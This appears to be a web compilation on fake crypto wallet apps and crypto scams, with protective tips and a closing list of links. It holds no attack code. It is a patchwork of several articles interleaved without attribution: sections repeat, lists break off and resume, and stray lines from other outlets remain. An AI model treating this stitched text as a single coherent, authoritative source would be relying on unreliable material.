million. Distributing fake apps through official app stores Fake crypto app scammers sometimes use official app stores to distribute dodgy applications. Some of the apps are designed to collect user credentials that are then used to unlock crypto accounts on corresponding official platforms. Others claim to offer secure wallet solutions that can be used to store a diverse range of cryptocurrencies but pilfer funds once a deposit is made. While platforms such as Google Play Store constantly review apps for integrity issues, it is still possible for some fake apps to slip through the cracks. One of the latest methods used by scammers to accomplish this is registering as app developers on popular mobile app stores such as the Apple App Store and Google Play Store and then uploading legitimate-looking apps. In 2021, a fake Trezor app masquerading as a wallet created by SatoshiLabs used this strategy to get published on both Apple App Store and Google Play Store. The app claimed to provide users with direct online access to their Trezor hardware wallets without needing to connect their Trezor dongle to a computer. Victims who downloaded the fake Trezor app were obligated to submit their wallet seed phrase to start using the service. A seed phrase is a string of words that can be used to access a cryptocurrency wallet on the blockchain. The submitted details allowed the thieves behind the fake app to loot user funds. According to a statement provided by Apple, the fake Trezor app was published on its store through a deceptive bait-and-switch maneuver. The app developers are alleged to have initially submitted the app as a cryptography application designed to encrypt files but later on converted it to a cryptocurrency wallet app. Apple said that it was not aware of the change until users reported it. Speaking to Cointelegraph earlier this week, Chris Kline, co-founder of Bitcoin IRA — a crypto retirement investment service — said that despite such incidents, major tech companies in the space were resolute in fighting fake crypto apps because of the potential damage to their integrity. He said: “Tech companies are always looking for better education and security for their users. The most reputable players today put security at the forefront of their roadmaps. Users need reassurance that their digital assets are safe and providers are keeping security top of mind.” That said, the fake app problem is more prevalent in non-official app stores. Cryptocurrency is risky enough without having to worry about scams. No matter which one you choose, you will deal with volatile values. Throw in some crooks, and the risk goes up exponentially. Social media is a goldmine for scammers to find new victims. Now, fake crypto ads are circulating on Facebook and other platforms. The ads use images of well-known industry leaders to lure people into buying crypto that doesn’t exist. Cybersecurity researchers recently found 40 copycat sites designed to look like legitimate crypto services. The sites advertise crypto wallet apps that are anything but legitimate. Keep reading to find out the risks and protect your finances. Watch your wallet Cryptocurrency wallets are physical or digital storage devices for your cryptocurrency. The wallets themselves hold public and private keys, which give you access to your crypto. How to spot a fake crypto app Fake cryptocurrency apps are designed to resemble legitimate apps as closely as possible. As a crypto investor, one should be able to discern between legitimate and fake apps to avoid unnecessary losses. The following is a breakdown of some of the things to look out for when trying to ascertain the authenticity of a mobile crypto application. Evidence shows that a crook is recruiting partners to distribute these bad apps via telemarketing, social media, advertisement, SMS, third-party channels, fake websites and more. ESET researchers also uncovered malicious wallets being distributed via legitimate Chinese websites, with articles containing links to fake wallet apps. The posts used real wallet names such as Coinbase, imToken, Bitpie, MetaMask, TokenPocket, OneKey and Trust Wallet but led to copycat websites. A thief used another legitimate Chinese website to post an article about Beijing’s crypto ban. The author included a list of genuine crypto wallets to get around the ban, along with links to bogus websites with download links for fake apps. Different effects on iOS and Android The malware works differently depending on your operating system. The fake Android wallet apps target new crypto users who do not have a legitimate wallet app installed on their devices. If you already have an official wallet app, the malicious one won’t be installed due to Android security measures, which don’t let you replace an original app with one that isn’t legitimate. The copycat websites let Android users download the malicious apps from their servers even if they tap on the “Get it on Google Play” button. Following that, the app needs to be installed manually. When it comes to iOS, multiple versions of an app can be installed simultaneously. But due to Apple’s stricter screening process, you won’t find these malicious apps in the App Store. So if you are an Apple user, you’d have to install the malicious apps from a third-party store or click on malicious links found on places like social media. The websites for these apps let users download apps outside the official store, using a system Apple put in place for businesses and educational institutes to install custom apps without going through the App Store. You must then manually install these apps. Once the app is up and running, it appears to work like a legitimate crypto wallet. But it isn’t. Instead, it’s stealing the currency deposited into it. Spelling, icons and description The first step in ascertaining whether an app is legit is checking out the spelling and icon. Fake apps usually have a name and icon that looks similar to the legitimate one, but something is usually off. If the app or developer names are misspelled, for example, the software is most likely phony. A quick search about the app on the internet will help to confirm its legitimacy. It is also important to consider if the app has a Google Editor’s choice badge. The badge is a distinction provided by the Google Play editorial team to recognize developers and apps with outstanding quality. Apps with this badge are unlikely to be fake. Don’t be a victim Follow these tips to keep crypto scammers at bay: Use official apps from official app stores that contain links to official websites. Be wary of online ads for crypto. Research any wallet app you’re interested in. Look for reviews and information about the company behind the app. Before you buy crypto, read Kim’s eBook on the subject. Application permissions Counterfeit apps usually request more permissions than necessary. This ensures that they glean as much data as possible from victims’ devices. As such, users should be wary of apps that require off-center permissions, such as device administrator privileges. Such authorizations could give cybercriminals unfettered access to a device and allow them to intercept sensitive data that can be used to unlock financial accounts, including crypto wallets. Intrusive app permissions can be blocked via a phone system’s privacy settings. Fake websites Scammers sometimes create fake cryptocurrency trading platforms or fake versions of official crypto wallets to trick unsuspecting victims. These fake websites usually have similar but slightly different domain names from the sites they attempt to mimic. They look very similar to legitimate sites, making it difficult to tell the difference. Fake crypto sites often operate in one of two ways: As phishing pages: All the details you enter, such as your crypto wallet’s password and recovery phrase and other financial information, end up in the scammers’ hands. As straightforward theft: Initially, the site may allow you to withdraw a small amount of money. As your investments seem to perform well, you might invest more money in the site. However, when you subsequently want to withdraw your money, the site either shuts down or declines the request. Phishing scams Crypto phishing scams often target information relating to online wallets. Scammers target crypto wallet private keys, which are required to access funds within the wallet. Their method of working is similar to other phishing attempts and related to the fake websites described above. They send an email to lure recipients to a specially created website asking them to enter private key information. Once the hackers have acquired this information, they steal the cryptocurrency in those wallets. Pump and dump schemes This involves a particular coin or token being hyped by fraudsters through an email blast or social media such as Twitter, Facebook, or Telegram. Not wanting to miss out, traders rush to buy the coins, driving up the price. Having succeeded in inflating the price, the scammers then sell their holdings – which causes a crash as the asset’s value sharply declines. This can happen within minutes. Fake apps Another common way scammers trick cryptocurrency investors is through fake apps available for download through Google Play and the Apple App Store. Although these fake apps are quickly found and removed, that doesn’t mean the apps aren’t impacting many bottom lines. Thousands of people have downloaded fake cryptocurrency apps. Fake celebrity endorsements Crypto scammers sometimes pose as or claim endorsements from celebrities, businesspeople, or influencers to capture the attention of potential targets. Sometimes, this involves selling phantom cryptocurrencies that don’t exist to novice investors. These scams can be sophisticated, involving glossy websites and brochures that appear to show celebrity endorsements from household names such as Elon Musk. Giveaway scams This is where scammers promise to match or multiply the cryptocurrency sent to them in what is known as a giveaway scam. Clever messaging from what often looks like a valid social media account can create a sense of legitimacy and spark a sense of urgency. This supposed ‘once-in-a-lifetime’ opportunity can lead people to transfer funds quickly in the hope of an instant return. Blackmail and extortion scams Another method scammers use is blackmail. They send emails that claim to have a record of adult websites visited by the user and threaten to expose them unless they share private keys or send cryptocurrency to the scammer. Cloud mining scams Cloud mining refers to companies that allow you to rent mining hardware they operate in exchange for a fixed fee and a share of the revenue you will supposedly make. In theory, this allows people to mine remotely without buying expensive mining hardware. However, many cloud mining companies are scams or, at best, ineffective – in that you end up losing money or earning less than was implied. Fraudulent initial coin offerings (ICOs) An initial coin offering or ICO is a way for start-up crypto companies to raise money from future users. Typically, customers are promised a discount on the new crypto coins in exchange for sending active cryptocurrencies like bitcoin or another popular cryptocurrency. Several ICOs have turned out to be fraudulent, with criminals going to elaborate lengths to deceive investors, such as renting fake offices and creating high-end marketing materials. How to spot cryptocurrency scams So, how to spot a crypto scam? Warning signs to look out for include: Promises of guaranteed returns: No financial investment can guarantee future returns because investments can go down as well as up. Any crypto offering that promises you will definitely make money is a red flag. A poor or non-existent whitepaper: Every cryptocurrency should have a whitepaper since this is one of the most critical aspects of an initial coin offering. The whitepaper should explain how the cryptocurrency has been designed and how it will work. If the whitepaper doesn’t make sense – or worse, doesn’t exist – then tread carefully. Excessive marketing: All businesses promote themselves. But one way that crypto fraudsters attract people is by investing in heavy marketing – online advertising, paid influencers, offline promotion, and so on. This is designed to reach as many people as possible in the shortest time possible – to raise money fast. If you feel that the marketing for a crypto offering seems heavy-handed or makes extravagant claims without backing them up, pause and do further research. Unnamed team members: With most investment businesses, it should be possible to find out who the key people behind it are. Usually, this means easy-to-find biographies of the people who run the investment plus an active presence on social media. If you can’t find out who is running a cryptocurrency, be cautious. Free money: Whether in cash or cryptocurrency, any investment opportunity promising free money is likely to be fake. How to protect yourself from cryptocurrency scams Many crypto frauds are sophisticated and convincing. Here are some steps you can take to protect yourself: Protect your wallet: To invest in cryptocurrency, you need a wallet with private keys. If a firm asks you to share your keys to participate in an investment opportunity, it’s highly likely to be a scam. Keep your wallet keys private. Keep an eye on your wallet app: The first time you transfer money, send only a small amount to confirm the legitimacy of a crypto wallet app. If you’re updating your wallet app and you notice suspicious behavior, terminate the update, and uninstall the app. Only invest in things you understand: If it’s not clear to you how a particular cryptocurrency works, then it’s best to pause and do further research before you decide whether to invest. Take your time: Scammers often use high-pressure tactics to get you to invest your money quickly – for example, by promising bonuses or discounts if you participate straightaway. Take your time and carry out your own research before investing any money. Be wary of social media adverts: Crypto scammers often use social media to promote their fraudulent schemes. They may use unauthorized images of celebrities or high-profile businesspeople to create a sense of legitimacy, or they may promise giveaways or free cash. Maintain a healthy skepticism when you see crypto opportunities promoted on social media and do your due diligence. Ignore cold calls: If someone contacts you out of the blue to sell you a crypto investment opportunity, it’s probably a scam. Never disclose personal information or transfer money to someone who contacts you in this way. Only download apps from official platforms: Although fake apps can end up in the Google Play Store or Apple App Store, it is safer to download apps from these platforms than elsewhere. Do your research: The most popular cryptocurrencies are not scams. But if you haven’t heard of a particular cryptocurrency, research it – see if there is a whitepaper you can read, find out who runs it and how it operates, and look for genuine reviews and testimonials. Look for an up-to-date and credible fake cryptocurrency list to check for scams. Is it too good to be true: Companies that promise guaranteed returns or to make you rich overnight are likely to be scams. If something seems too good to be true, tread carefully. Finally, as with any investment opportunity, never invest money you can’t afford to lose. Even if you’re not being scammed, cryptocurrency is volatile and speculative, so it’s essential to understand the risks. What to do if you fall victim to a crypto scam Falling victim to a cryptocurrency scam can be devastating, and it’s essential to act quickly if you have made a payment or disclosed personal information. Contact your bank immediately if you have: Made a payment using a debit or credit card. Made a payment via bank transfer. Shared personal details about yourself. Crypto fraudsters often sell the details they have captured to other criminals. So, it’s essential to change your usernames and passwords across the board, to prevent further damage. If you are the victim of a social media crypto scam, you can report it to the relevant social media platform. Depending on where you live, you can report frauds to the relevant body in your jurisdiction – for example, in the US, that would be the Federal Trade Commission. Other countries have their own equivalents. The number of downloads The number of times that an app has been downloaded is usually an indicator of how popular it is. Apps from reputable developers typically have millions of downloads and thousands of positive reviews. Inversely, apps with just a few thousand downloads require greater scrutiny. Confirming authenticity by contacting support If unsure about an application, contacting support through the company’s official website could help to avoid financial losses due to fraud. Furthermore, authentic apps can be downloaded from a company’s official website. Cryptocurrencies are underpinned by relatively new technology, so it is only natural that there are teething problems when it comes to use and adoption. Unfortunately, in recent years, black hats have targeted naïve crypto enthusiasts using fake crypto apps. While the problem is likely to persist for several years, increased scrutiny by tech companies is likely to temper the issue in the long run. Literature: Investigation of Cryptocurrency Wallets on iOS and Android Mobile Devices for Potential Forensic Artifacts Angelica Montanez https://cryptodeep.ru/doc/Montanez-Angelica_Final-Research-Paper.pdf Summary This type of fraudulent activity is not only prevalent at the moment, but it is also on the rise. Every day, a growing number of people fall victim to this. Users should always be cautious and suspicious of phishing scams. GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/EkU8YhB91MI Source: https://cryptodeep.ru/crypto-wallet-protection Криптоанализ
×
×
  • Create New...